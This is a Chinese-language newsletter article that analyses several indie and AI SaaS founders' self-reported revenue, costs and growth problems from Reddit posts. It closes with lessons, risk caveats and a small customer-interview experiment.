    Hyallo 提供从浏览器拨打普通电话号码的服务。创始人是一位巴西数据工程师,他说自己在荷兰生活时,需要联系巴西的银行和公共服务部门;原有工具停止服务后,他做了替代方案。

    作者称 9—10 月合计约有 $4,000 收入,但 MRR 为 $0。用户购买的是话费额度,属于一次性充值。充值现金流也不能直接当作已经完成通话服务后的净收入,运营商成本和未使用余额都需要另行核算。

    更值得注意的是,作者说大部分收入来自少数、可能属于同一团队的账号;这些账号使用减少,收入也会下降。他还提到试用被滥用、广告效果不佳等问题。

    可借鉴点:旧服务退出可能留下真实需求,但在扩大投放前,应先了解现有大客户为何使用、使用频率如何,以及是否具有可重复的付费场景。

    风险:通信服务涉及资质、运营商合同、反滥用和个人信息处理。本案例仅用于需求与客户集中度分析,不作为在中国大陆直接复制通信业务的建议。

    来源:创始人 Reddit 复盘〔来源 V01-04〕。收入和客户集中情况均为作者自述,未独立验证。

    03|What The Food:有流量,也可能缺少付费转化

    What The Food(WTFood)通过照片识别食物,帮助用户记录热量和营养。作者公布了 $157 MRR、17 个付费订阅、2,500 多名免费用户,并称有约 172 万次 Google 搜索展示和 3.67 万次点击,主要靠自然搜索获客。

    这些数字的累计周期和用户口径并不完整,不能据此算出可靠的当月付费转化率。作者还称月运行成本约 $28,但这不是包含个人劳动、全部预付费用及其他支出的完整利润表。

    复盘暴露的问题是:流量进入产品后,尚缺少系统的首次体验引导、邮件触达和用户召回。作者同时在寻找投资型合作伙伴或买家,具有明显的交易动机,阅读其数字时需要考虑这一背景。

    可借鉴点:已有自然流量时,可以优先观察用户从访问、注册、首次获得价值到付费的路径,再决定是否继续增加功能。任何转化提升都应通过实际试验验证。

    风险:AI 营养估算不等于医疗判断,健康数据与照片处理需要关注隐私和准确性。本篇不提供健康建议,也不推荐参与该项目的投资或收购。

    来源:作者 Reddit 原帖〔来源 V01-05〕 · 产品网站〔来源 V01-06〕。经营数字均为作者自述。

    04|TaleTok:获客之后,还要让用户持续获得价值

    TaleTok 面向视频创作者,提供无真人出镜的视频生成流程。创始人称产品达到 $1,500 MRR,最初 20 个订阅用户来自 Reddit 社区,随后将精力放在降低流失、改进首次使用体验、调整定价和增加年付方案上。

    可借鉴点:首次付费之后,用户能否顺利完成第一份作品、能否持续使用,决定了订阅是否能留住。可以把取消订阅原因当作改进线索,但不能把所有取消都简单归因于功能不足。

    风险:营收和留存变化没有独立核验;生成视频还涉及素材、音乐、肖像、声音与平台商业化规则。工具生成的内容不必然获得平台收益。

    来源:创始人 Reddit 复盘〔来源 V01-07〕 · 产品网站〔来源 V01-08〕。素材中另有“生成成本降低超过 50%”的说法,本次缺少对应原文和账单,未采纳。

    05|匿名 B2B AI SaaS:缩小客户画像,收入机会可能更清晰

    一位匿名技术创始人称,在全职工作之余开发 B2B AI SaaS,将客户定位转向管理大量网站的代理商和网站平台,约六个月内从 $400 增长至 $3,500 MRR。

    作者还说,已与一家管理约 13,000 个网站的公司开始试点。这里的 13,000 是该潜在客户管理的网站规模,不是已购买产品的网站数,更不是已实现的订单。

    可借鉴点:同一功能若能在客户的多个项目间重复使用,购买理由可能更明确。需要验证的是具体痛点、决策人、预算与实际使用,而不是客户拥有多少网站。

    证据局限:原帖没有公开产品名称、客户合同或账单,无法独立确认项目身份与收入。原帖处于融资讨论语境,本篇只把它作为客户定位的观察线索。

    来源:作者 Reddit 原帖〔来源 V01-09〕。

    06|AutoAIShorts 开发者:持续上线,不等于建立增长机制

    一位开发者称自己连续近两年开发多个应用,其中包括 AutoAIShorts,所有应用合计约有 $354 MRR、50 个有效订阅。这些是多个应用的汇总数字,不能当成 AutoAIShorts 单款产品的收入与订阅数。

    他的困惑是:自己能不断开发功能,却不确定应该继续做多个产品,还是集中增长一个产品。原帖没有给出各产品收入、留存、获客成本和投入时间,无法直接判断哪种策略更优。

    可借鉴点:先按产品分别整理付费用户、留存、支持成本与增长渠道,再决定资源分配。这个案例能说明开发和获客是不同工作,不能证明多产品策略必然失败。

    来源:作者 Reddit 原帖〔来源 V01-10〕 · 产品网站〔来源 V01-11〕。数据为作者自述,网站的营销指标也不等同于独立验证的经营结果。

    07|AI 热量记录应用:收入看起来不错,现金结果仍可能为负

    一名德国开发者分享了面向德语用户的 AI 热量记录应用。他称已有约 13,300 次安装、678 个有效订阅和约 $2,200 MRR,但将累计收支加总后,结果仍约亏损 €5,800,尚未计算自己的劳动时间。

    按作者自述的累计约数整理:

    • 应用内购买毛收入:约 €22,000。
    • 扣除平台分成和增值税后到账:约 €14,300。
    • Google、Apple 及小额其他广告支出:合计约 €12,871。
    • 云服务、AI、开发工具及开发者账户等支出:合计约 €7,260。
    • 以这些约数复算:€14,300 − €12,871 − €7,260 ≈ −€5,831,与作者所称“约亏损 €5,800”大致一致。

    这些是累计口径,不能与单月 MRR 直接相减。原帖个别毛收入分项使用了不同币种,本文没有自行换算拼接,保留作者给出的欧元总额;完整账期、税务和汇率仍待确认。

    最有启发的细节是,作者称广告后台显示的每次转化成本约 €1,但与付费记录对照后,每位付费用户成本更接近 €22。原因是广告优化目标偏向打开应用,而不是实际付款。

    可借鉴点:应分别观察安装、试用、首次付费、续费和回本周期。对按次产生 AI 成本的产品,还要核算免费用户的使用开销。

    来源:作者完整成本复盘〔来源 V01-12〕。全部经营数据为作者自述;复算只检验了约数之间的算术关系,不等于财务审计。

    三个适合继续讨论的分享选题

    一个发帖工具如何做到约 4,000 美元 MRR?

    从个人需求讲起,重点拆解工作流、社区、搜索和用户反馈。分享时保留数据来源和核查日期,用“月经常性收入”表达,不把它写成“每月净赚 4,000 美元”。

    毛收入约 2.2 万欧元,为什么仍然亏损?

    用 AI 热量记录应用解释毛收入、实际到账、广告和模型成本的区别,再讨论广告转化目标为什么必须与真实付款记录对齐。数字始终标注为作者自述。

    做了两年多个应用,合计 MRR 仍只有 354 美元

    讨论产品数量和增长机制之间的关系。不要用一个样本得出“多做项目一定错”的结论,更有价值的问题是:哪个产品的用户留存更好,哪个渠道能反复获得付费用户?

    从案例到验证:先测试一个小问题

    这些案例不足以证明某个市场一定值得进入,但可以形成三个待验证方向:小型代理商的多网站监控与客户报告、特定职业的内容审批与发布流程、已有网站的注册与付费转化诊断。

    如果先测试“多网站监控与客户报告”,可以用一周完成下面的小实验,而不急着开发完整系统:

    1. 找到 10 家业务匹配的小型网站开发或 SEO 代理商,进行有针对性的需求访谈,尊重联系渠道和拒绝意愿。
    2. 询问他们目前如何发现站点故障、汇总性能、向客户汇报工作,以及谁为这些工作付费。
    3. 取得授权后,用现成工具手工做一份报告,避免访问未获授权的系统或采集客户敏感数据。
    4. 用 $19—49/月作为价格假设,询问是否愿意试用或付费;没有交付能力前,不收取承诺无法兑现的费用。

    可以预先设定一个探索门槛:至少 3 家明确愿意试用、至少 1 家表达付费意向。这个门槛和价格只是实验设计,付费意向不等于已成交,也不是需求验证已经完成。

    本期结语:比收入截图更值得追踪的三件事

    第一,是否存在可重复的获客方式。社区带来的第一批用户是起点,后续还要观察稳定性与成本。

    第二,用户是否持续获得价值。工作流完成度、首次体验和留存,比功能数量更接近订阅业务的核心。

    第三,真实到账能否覆盖全部成本。MRR、下载和充值都是局部指标,经营判断还需要账期、退款、税费、渠道和人力成本。


    来源与编辑说明

    本文基于所提供素材重写,公开来源核查日期为 2026 年 10 月 21 日。平台显示的相对时间和缓存时间不宜直接当作原帖精确发布日期,因此未沿用素材中未经独立确认的逐条发帖日期。收入数字是原帖或所列数据页面的快照,不代表当前或未来表现。

    本期主要依据 Reddit 原帖、项目官网和 TrustMRR 页面。素材中的 X 运营过程、Hacker News 的 MinPin、Indie Hackers 的 Nventr 及另一条白标 SaaS 线索,缺少本次能确认的对应原文或证据,未作为已核实案例纳入。文中项目与平台名称仅用于说明研究对象,不构成购买、投资、充值或合作推荐。

    封面与正文配图为本站原创程序绘制,未使用第三方截图或人物照片。涉及项目名称仅用于指明研究对象。本文由 AI 辅助编写,发布前仍需人工审核;内容初筛不能替代专业法律审查,也不能保证文章或域名不被反诈系统拦截。

    引用说明:为减少不必要的站外跳转,海外资料仅列来源名称和编号,不在正文提供可点击入口。原始链接及核验清单已另行留存,供编辑复核;国内官方法规链接保留。来源标注不代表对项目收入、主体资质或经营合法性的独立背书。

苏ICP备20045779号-1